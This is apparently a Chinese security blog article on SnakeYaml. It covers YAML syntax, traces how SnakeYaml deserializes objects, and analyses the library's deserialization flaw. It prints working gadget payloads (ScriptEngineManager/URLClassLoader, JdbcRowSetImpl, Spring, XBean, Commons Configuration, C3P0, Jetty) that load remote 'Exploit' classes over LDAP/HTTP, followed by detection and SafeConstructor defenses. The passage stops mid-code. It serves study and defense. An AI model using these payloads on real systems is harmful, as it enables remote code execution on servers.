0x01 基本概念

SnakeYaml简介

YAML是”YAML Ain’t a Markup Language”(YAML不是一种标记语言)的递归缩写,是一个可读性高、用来表达数据序列化的格式,类似于XML但比XML更简洁。

在Java中,有一个用于解析YAML格式的库,即SnakeYaml。

SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。

YAML语法与结构

YAML基本格式要求:

  1. YAML大小写敏感;
  2. 使用缩进代表层级关系;
  3. 缩进只能使用空格,不能使用TAB,不要求空格个数,只需要相同层级左对齐(一般2个或4个空格)

示例如下:

1
2
3
4
5
6
7
8
9
10
11
environments:
dev:
url: http://dev.bar.com
name: Developer Setup
prod:
url: http://foo.bar.com
name: My Cool App
my:
servers:
- dev.bar.com
- foo.bar.com

YAML支持三种数据结构:

1、对象

使用冒号代表,格式为key: value。冒号后面要加一个空格:

1
key: value

可以使用缩进表示层级关系:

1
2
3
key: 
child-key: value
child-key2: value2

2、数组

使用一个短横线加一个空格代表一个数组项:

1
2
3
hobby:
- Java
- LOL

3、常量

YAML中提供了多种常量结构,包括:整数,浮点数,字符串,NULL,日期,布尔,时间。下面使用一个例子来快速了解常量的基本使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
boolean: 
- TRUE #true,True都可以
- FALSE #false,False都可以
float:
- 3.14
- 6.8523015e+5 #可以使用科学计数法
int:
- 123
- 0b1010_0111_0100_1010_1110 #二进制表示
null:
nodeName: 'node'
parent: ~ #使用~表示null
string:
- 哈哈
- 'Hello world' #可以使用双引号或者单引号包裹特殊字符
- newline
newline2 #字符串可以拆成多行,每一行会被转化成一个空格
date:
- 2018-02-17 #日期必须使用ISO 8601格式,即yyyy-MM-dd
datetime:
- 2018-02-17T15:02:31+08:00 #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区

更多的关于YAML的语法及使用可参考:https://www.yiibai.com/yaml

使用SnakeYaml进行序列化和反序列化

SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。

  • Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;
  • Yaml.dump():将一个对象转化为yaml文件形式;

下面看下简单的用法,用的SnakeYaml版本是最新版的1.25。

User类,拥有一个name属性及其setter方法和getter方法:

1
2
3
4
5
6
7
8
9
10
11
public class User {
String name;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
}

Test.java,序列化新建的User对象为yaml格式内容:

1
2
3
4
5
6
7
8
9
public class Test {
public static void main(String[] args){
User user = new User();
user.setName("mi1k7ea");
Yaml yaml = new Yaml();
String s = yaml.dump(user);
System.out.println(s);
}
}

输出yaml格式的内容,这里”!!”用于强制类型转化,”!!User”是将该对象转为User类,如果没有”!”则就是个key为字符串的Map

1
!!User {name: mi1k7ea}

修改Test.java,反序列化yaml格式内容:

1
2
3
4
5
6
7
8
public class Test {
public static void main(String[] args){
String s = "!!User {name: mi1k7ea}";
Yaml yaml = new Yaml();
User user = yaml.load(s);
System.out.println(user + ":" + user.getName());
}
}

输出,看到成功反序列化出User对象:

1
User@5e8c92f4:mi1k7ea

SnakeYaml反序列化的类方法调用

类比下Fastjson和Jackson的反序列化的类方法调用,这里我们也试下Yaml.load()在调用时会调用将要反序列化的类的哪些方法。

这里我们修改User类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class User {
String name;
int age;

public User() {
System.out.println("User构造函数");
}

public String getName() {
System.out.println("User.getName");
return name;
}

public void setName(String name) {
System.out.println("User.setName");
this.name = name;
}

public String getAge() {
System.out.println("User.getAge");
return name;
}

public void setAge(String name) {
System.out.println("User.setAge");
this.name = name;
}
}

Test.java:

1
2
3
4
5
6
7
public class Test {
public static void main(String[] args){
String s = "!!User {name: mi1k7ea, age: 6}";
Yaml yaml = new Yaml();
User user = yaml.load(s);
}
}

输出看到,调用了反序列化的类的构造函数和yaml格式内容中包含的属性的setter方法:

1
2
3
User构造函数
User.setName
User.setAge

SnakeYaml反序列化过程调试分析

SnakeYaml反序列化的实现主要是通过反射机制来查找对应的Java类,新建一个实例并将对应的属性值赋给该实例。

在前面的反序列化Demo中,在User user = yaml.load(s);上打上断点开始调试。

在load()函数中会先生成一个StreamReader,将yaml数据通过构造函数赋给StreamReader,再调用loadFromReader()函数:

在loadFromReader()函数中,调用了BaseConstructor.getSingleData()函数,此时type为java.lang.Object,指定从yaml格式数据中获取数据类型是Object类型:

跟进getSingleData()函数中,先创建一个Node对象(其中调用getSingleNote()会根据流来生成一个文件,即将字符串按照yaml语法转为Node对象),然后判断当前Node是否为空且是否Tag为空,若不是则判断yaml格式数据的类型是否为Object类型、是否有根标签,这里都判断不通过,最后返回调用constructDocument()函数的结果:

跟下去继续调试,跟到getClassForNode()函数中,先根据tag取出className为User,然后调用getClassForName()函数获取到具体的User类:

在getClassName()函数中,判断开头是否是Tag.PREFIX即”tag:yaml.org,2002:”,是的话进行UTF-8编码并返回该类名:

而在getClassForName()函数中,根据获取到的User类名来调用Class.forName()即通过反射的方式来获取目标类User:

往下调试发现,调用construct()函数构造User类对象:

进一步跟进constructJavaBean2ndStep()函数,其中会获取yaml格式数据中的属性的键值对,然后调用propert.set()来设置新建的User对象的属性值:

跟进MethodProperty.set()函数,就是通过反射机制来调用User类name属性的setter方法来进行属性值的设置的:

属性值设置完成后,就返回新建的含有属性值的User类对象了。

整个SnakeYaml反序列化的过程就这样。

0x02 SnakeYaml反序列化漏洞

影响版本

SnakeYaml全版本都可被反序列化漏洞利用。

漏洞原理

因为SnakeYaml支持反序列化Java对象,所以当Yaml.load()函数的参数外部可控时,攻击者就可以传入一个恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时就会触发SnakeYaml反序列化漏洞。

复现利用(基于ScriptEngineManager利用链)

本次利用是基于javax.script.ScriptEngineManager的利用链。

简单地说,ScriptEngineManager类用于Java和JavaScript之间的调用。

PoC.java,需要实现ScriptEngineManager接口类,其中的静态代码块用于执行恶意代码,将其编译成PoC.class然后放置于第三方Web服务中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
public class PoC implements ScriptEngineFactory {
static {
try {
System.out.println("Hacked by mi1k7ea");
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}

@Override
public String getEngineName() {
return null;
}

@Override
public String getEngineVersion() {
return null;
}

@Override
public List<String> getExtensions() {
return null;
}

@Override
public List<String> getMimeTypes() {
return null;
}

@Override
public List<String> getNames() {
return null;
}

@Override
public String getLanguageName() {
return null;
}

@Override
public String getLanguageVersion() {
return null;
}

@Override
public Object getParameter(String key) {
return null;
}

@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}

@Override
public String getOutputStatement(String toDisplay) {
return null;
}

@Override
public String getProgram(String... statements) {
return null;
}

@Override
public ScriptEngine getScriptEngine() {
return null;
}
}

Test.java,假设的Yaml.load()外部可控的服务端漏洞程序:

1
2
3
4
5
6
7
public class Test {
public static void main(String[] args){
String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1/\"]]]]";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}

看到,关键PoC如下,注意每个首次出现的”[“字符前面需要有个空格:

1
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1/"]]]]

另外,在已放置PoC.class的第三方Web服务中,在当前目录新建如下文件META-INF\services\javax.script.ScriptEngineFactory,其中内容为指定被执行的类名PoC(具体为啥这么做在后面的调试分析中会说到):

注意,不要添加”.class”,否则”.”会被当做目录来进行分割处理,从而不能正确地获取到class文件。

最后运行Test即可触发漏洞:

当然,还可以直接打包成恶意jar包放置在第三方Web服务中来触发:https://github.com/artsploit/yaml-payload

调试分析

yaml.load(poc);打上断点开始调试。

yaml数据解析的过程和前面章节的过程分析一样的,我们就看看关键部分就好。

调试发现,在调用完如下调用链获取到类名”javax.script.ScriptEngineManager”之后,会返回到调用链中的construct()函数中调用获取到的构造器的constrcut()方法,然后就会继续遍历解析得到yaml格式数据内的”java.net.URLClassLoader”类名和”java.net.URL”类名:

constructDocument->constructObject->constructObjectNoCheck->construct->getConstructor->getClassForNode->getClassForName

往下调试,在返回到的Constructor$ConstructSequence.construct()方法中,程序往下执行会调用newInstance()函数来新建实例:

这里为新建ScriptEngineManager类实例,其中argumentList参数为URLClassLoader类对象。

然后就调用到了ScriptEngineManager类的构造函数了:

在init()中调用了initEngines(),跟进initEngines(),看到调用了ServiceLoader<ScriptEngineFactory>,这个就是Java的SPI机制,它会去寻找目标URL中META-INF/services目录下的名为javax.script.ScriptEngineFactory的文件,获取该文件内容并加载文件内容中指定的类即PoC,这就是前面为什么需要我们在一台第三方Web服务器中新建一个指定目录的文件,同时也说明了ScriptEngineManager利用链的原理就是基于SPI机制来加载执行用户自定义实现的ScriptEngineManager接口类的实现类,从而导致代码执行

跟下去,在ServiceLoader$LazyIterator.nextService()函数中调用Class.forName()即通过反射来获取目标URL上的PoC.class,此时在Web服务端会看到被请求访问PoC.class的记录;接着c.newInstance()函数创建的PoC类实例传入javax.script.ScriptEngineManager类的cast()方法来执行:

此时由于新建的是PoC类实例,因此会调用到PoC类的构造函数,而该类的静态代码块会被执行一遍,从而触发率任意代码执行漏洞。

相关应用CVE

Resteasy

Apache Camel

Apache Brooklyn

0x03 更多Gadgets探究

下面看下其他反序列化Gadgets在SnakeYaml中的利用,具体的调试分析过程就只简单提下并给出主要的利用链就好。

JdbcRowSetImpl

基于JdbcRowSetImpl的Gadget十分经典,有基于RMI和LDAP的,因为LDAP的利用范围更广,因此这里就只跑这个场景,具体原理之前讲过就不再赘述。

PoC,注意添加换行符:

1
String poc = "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"ldap://localhost:1389/Exploit\"\n autoCommit: true";

另外还需搭建LDAP服务和恶意类Exploit。

运行即可触发:

简单地说,就是SnakeYaml在调用Yaml.load()反序列化的时候,会调用到JdbcRowSetImpl类的dataSourceName属性的setter方法即setDataSourceName(),然后就触发后续一系列的利用链最后达到任意代码执行的目的。

函数调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
set:77, MethodProperty (org.yaml.snakeyaml.introspector)
constructJavaBean2ndStep:263, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:149, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:309, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:164, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:148, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:525, Yaml (org.yaml.snakeyaml)
load:438, Yaml (org.yaml.snakeyaml)
main:7, Test

Spring PropertyPathFactoryBean

需要在目标环境存在springframework相关的jar包,以我本地环境为例:snakeyaml-1.25,commons-logging-1.2,unboundid-ldapsdk-4.0.9,spring-beans-5.0.2.RELEASE,spring-context-5.0.2.RELEASE,spring-core-5.0.2.RELEASE。

可以直接将String类型的PoC传参给Yaml.load(),也可以从文件中读取内容传入文件流给Yaml.load(),需要注意PoC中的各行的间隔距离:

1
2
3
4
5
6
7
8
9
10
11
public class Test {
public static void main(String[] args){
String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" +
" targetBeanName: \"ldap://localhost:1389/Exploit\"\n" +
" propertyPath: mi1k7ea\n" +
" beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +
" shareableResources: [\"ldap://localhost:1389/Exploit\"]";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}

1
2
3
4
5
6
7
8
9
10
11
public class Test {
public static void main(String[] args){
try {
InputStream poc = new FileInputStream(new File("1.txt"));
Yaml yaml = new Yaml();
yaml.load(poc);
} catch (Exception e) {
e.printStackTrace();
}
}
}

1.txt,即关键部分PoC:

1
2
3
4
5
!!org.springframework.beans.factory.config.PropertyPathFactoryBean
targetBeanName: "ldap://localhost:1389/Exploit"
propertyPath: mi1k7ea
beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
shareableResources: ["ldap://localhost:1389/Exploit"]

另起LDAP服务和放置Exploit类的Web服务,运行即可触发:

简单地说,PropertyPathFactoryBean类的beanFactory属性可以设置一个远程的Factory,类似于JNDI注入的原理,当SnakeYaml反序列化的时候会调用到该属性的setter方法,通过JNDI注入漏洞成功实现反序列化漏洞的利用。

函数调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
lookup:92, JndiLocatorSupport (org.springframework.jndi)
doGetSingleton:220, SimpleJndiBeanFactory (org.springframework.jndi.support)
getBean:113, SimpleJndiBeanFactory (org.springframework.jndi.support)
getBean:106, SimpleJndiBeanFactory (org.springframework.jndi.support)
setBeanFactory:196, PropertyPathFactoryBean (org.springframework.beans.factory.config)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
set:77, MethodProperty (org.yaml.snakeyaml.introspector)
constructJavaBean2ndStep:263, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:149, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:309, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:164, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:148, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:525, Yaml (org.yaml.snakeyaml)
load:453, Yaml (org.yaml.snakeyaml)
main:19, Test

Spring DefaultBeanFactoryPointcutAdvisor

需要在目标环境存在springframework相关的jar包,以我本地环境为例:snakeyaml-1.25,commons-logging-1.2,unboundid-ldapsdk-4.0.9,spring-beans-5.0.2.RELEASE,spring-context-5.0.2.RELEASE,spring-core-5.0.2.RELEASE,spring-aop-4.3.7.RELEASE。

关键PoC如下,2.txt:

1
2
3
4
5
6
set:
? !!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
adviceBeanName: "ldap://localhost:1389/Exploit"
beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
shareableResources: ["ldap://localhost:1389/Exploit"]
? !!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor []

和前面一样的利用方式:

DefaultBeanFactoryPointcutAdvisor类的利用原理同上,也是JNDI注入漏洞导致的反序列化漏洞。

函数调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
lookup:92, JndiLocatorSupport (org.springframework.jndi)
doGetSingleton:220, SimpleJndiBeanFactory (org.springframework.jndi.support)
getBean:113, SimpleJndiBeanFactory (org.springframework.jndi.support)
getAdvice:109, AbstractBeanFactoryPointcutAdvisor (org.springframework.aop.support)
equals:74, AbstractPointcutAdvisor (org.springframework.aop.support)
putVal:634, HashMap (java.util)
put:611, HashMap (java.util)
processDuplicateKeys:96, SafeConstructor (org.yaml.snakeyaml.constructor)
flattenMapping:70, SafeConstructor (org.yaml.snakeyaml.constructor)
constructMapping2ndStep:183, SafeConstructor (org.yaml.snakeyaml.constructor)
constructMapping:446, BaseConstructor (org.yaml.snakeyaml.constructor)
construct:521, SafeConstructor$ConstructYamlMap (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructMapping2ndStep:465, BaseConstructor (org.yaml.snakeyaml.constructor)
constructMapping2ndStep:184, SafeConstructor (org.yaml.snakeyaml.constructor)
constructMapping:446, BaseConstructor (org.yaml.snakeyaml.constructor)
construct:521, SafeConstructor$ConstructYamlMap (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:164, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:148, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:525, Yaml (org.yaml.snakeyaml)
load:453, Yaml (org.yaml.snakeyaml)
main:12, Test

Apache XBean

本地环境用的xbean-naming-4.5.jar。

关键PoC,3.txt:

1
!!javax.management.BadAttributeValueExpException[!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding ["foo",!!javax.naming.Reference [foo, "Exploit", "http://localhost:8000/"],!!org.apache.xbean.naming.context.WritableContext []]]

具体原理还没分析搞懂,之前简单调试下发现在调用ContextUtil$ReadOnlyBinding.ReadOnlyBinding()函数进行context属性的初始化为WritableContext类实例时会触发漏洞(后面有时间搞懂了再补充):

函数调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<init>:183, ContextUtil$ReadOnlyBinding (org.apache.xbean.naming.context)
<init>:176, ContextUtil$ReadOnlyBinding (org.apache.xbean.naming.context)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
construct:548, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
construct:309, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
construct:543, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
construct:309, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:164, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:148, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:525, Yaml (org.yaml.snakeyaml)
load:453, Yaml (org.yaml.snakeyaml)
main:12, Test

Apache Commons Configuration

本地环境用的:snakeyaml-1.25,commons-logging-1.2,unboundid-ldapsdk-4.0.9,commons-lang-2.6,commons-configuration-1.10。

关键PoC,4.txt:

1
2
set:
? !!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], "ldap://localhost:1389/Exploit"]]

弹四次计算器:

简单跟了下程序,在调用完ConfigurationMap.ConfigurationMap()这个构造函数对configuration属性进行赋值后就触发了,具体原理有待分析:

此时的函数调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<init>:55, ConfigurationMap (org.apache.commons.configuration)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
construct:548, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
construct:309, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
processDuplicateKeys:85, SafeConstructor (org.yaml.snakeyaml.constructor)
flattenMapping:70, SafeConstructor (org.yaml.snakeyaml.constructor)
constructMapping2ndStep:183, SafeConstructor (org.yaml.snakeyaml.constructor)
constructMapping:446, BaseConstructor (org.yaml.snakeyaml.constructor)
construct:521, SafeConstructor$ConstructYamlMap (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructMapping2ndStep:465, BaseConstructor (org.yaml.snakeyaml.constructor)
constructMapping2ndStep:184, SafeConstructor (org.yaml.snakeyaml.constructor)
constructMapping:446, BaseConstructor (org.yaml.snakeyaml.constructor)
construct:521, SafeConstructor$ConstructYamlMap (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:164, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:148, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:525, Yaml (org.yaml.snakeyaml)
load:453, Yaml (org.yaml.snakeyaml)
main:12, Test

C3P0 JndiRefForwardingDataSource

原理和环境相关的参考Jackson系列文章即可。

关键PoC,5.txt:

1
2
3
!!com.mchange.v2.c3p0.JndiRefForwardingDataSource
jndiName: "ldap://localhost:1389/Exploit"
loginTimeout: 0

C3P0 WrapperConnectionPoolDataSource

本地环境的jar包:c3p0-0.9.5.2,mchange-commons-java-0.2.15,commons-codec-1.12,snakeyaml-1.25。

关键PoC,注意冒号后面有个空格:

1
2
!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
userOverridesAsString: "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383030302f740003466f6f;"

我们主要看下userOverridesAsString的值是如何构造的,参考marshalsec的Gadget就知道了,下面是输出该值的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static void createPoC() throws Exception {
String poc = makeC3P0UserOverridesString("http://localhost:8000/", "Exploit");
System.out.println(poc);
}

public static String makeC3P0UserOverridesString ( String codebase, String clazz ) throws ClassNotFoundException, NoSuchMethodException,
InstantiationException, IllegalAccessException, InvocationTargetException, IOException {

ByteArrayOutputStream b = new ByteArrayOutputStream();
try ( ObjectOutputStream oos = new ObjectOutputStream(b) ) {
Class<?> refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized"); //$NON-NLS-1$
Constructor<?> con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
con.setAccessible(true);
Reference jndiref = new Reference("Foo", clazz, codebase);
Object ref = con.newInstance(jndiref, null, null, null);
oos.writeObject(ref);
}

return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$
}

该Gadget原理是userOverridesAsString的setter方法触发C3P0数据库连接池去调用referenceToObject()函数将Reference转化成对象的时候导致的。

函数调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<init>:2, Exploit
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
referenceToObject:92, ReferenceableUtils (com.mchange.v2.naming)
getObject:118, ReferenceIndirector$ReferenceSerialized (com.mchange.v2.naming)
fromByteArray:125, SerializableUtils (com.mchange.v2.ser)
parseUserOverridesAsString:318, C3P0ImplUtils (com.mchange.v2.c3p0.impl)
vetoableChange:110, WrapperConnectionPoolDataSource$1 (com.mchange.v2.c3p0)
fireVetoableChange:375, VetoableChangeSupport (java.beans)
fireVetoableChange:271, VetoableChangeSupport (java.beans)
setUserOverridesAsString:387, WrapperConnectionPoolDataSourceBase (com.mchange.v2.c3p0.impl)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
set:77, MethodProperty (org.yaml.snakeyaml.introspector)
constructJavaBean2ndStep:263, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:149, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:309, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:164, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:148, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:525, Yaml (org.yaml.snakeyaml)
load:453, Yaml (org.yaml.snakeyaml)
main:17, Test

Resource

本地环境的jar包:snakeyaml-1.25,jetty-jndi-9.4.8.v20171121,jetty-plus-9.4.8.v20171121,jetty-util-9.4.8.v20171121。

关键PoC:

1
[!!org.eclipse.jetty.plus.jndi.Resource ["__/obj", !!javax.naming.Reference ["foo", "Exploit", "http://localhost:8000/"]], !!org.eclipse.jetty.plus.jndi.Resource ["obj/test", !!java.lang.Object []]]

Resource类的原理是JNDI注入漏洞,但是是基于NamingManager.getObjectInstance()函数的注入。

函数调用栈入如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<init>:2, Exploit
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
lookup:503, NamingContext (org.eclipse.jetty.jndi)
lookup:578, NamingContext (org.eclipse.jetty.jndi)
bind:69, NamingUtil (org.eclipse.jetty.jndi)
save:202, NamingEntry (org.eclipse.jetty.plus.jndi)
<init>:39, Resource (org.eclipse.jetty.plus.jndi)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
construct:548, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
construct:309, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructSequenceStep2:376, BaseConstructor (org.yaml.snakeyaml.constructor)
constructSequence:360, BaseConstructor (org.yaml.snakeyaml.constructor)
construct:499, SafeConstructor$ConstructYamlSeq (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:164, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:148, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:525, Yaml (org.yaml.snakeyaml)
load:453, Yaml (org.yaml.snakeyaml)
main:10, Test

0x04 检测与防御

检测方法

排查服务端环境是否使用了SnakeYaml,若使用了则全局搜索关键字yaml.load(,若存在该关键字则需要进一步排查参数是否外部可控。

防御方法

  • 禁止Yaml.load()函数参数外部可控;
  • 若业务确实需要反序列化,则需严格过滤该参数内容,使用SafeConstructor对反序列化的内容进行限制或使用白名单控制反序列化的类的白名单;

在snakeyaml-1.25-sources.jar!/org/yaml/snakeyaml/constructor/SafeConstructor.java中看到,其构造函数就自定义了反序列化的类的白名单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public SafeConstructor() {
this.yamlConstructors.put(Tag.NULL, new ConstructYamlNull());
this.yamlConstructors.put(Tag.BOOL, new ConstructYamlBool());
this.yamlConstructors.put(Tag.INT, new ConstructYamlInt());
this.yamlConstructors.put(Tag.FLOAT, new ConstructYamlFloat());
this.yamlConstructors.put(Tag.BINARY, new ConstructYamlBinary());
this.yamlConstructors.put(Tag.TIMESTAMP, new ConstructYamlTimestamp());
this.yamlConstructors.put(Tag.OMAP, new ConstructYamlOmap());
this.yamlConstructors.put(Tag.PAIRS, new ConstructYamlPairs());
this.yamlConstructors.put(Tag.SET, new ConstructYamlSet());
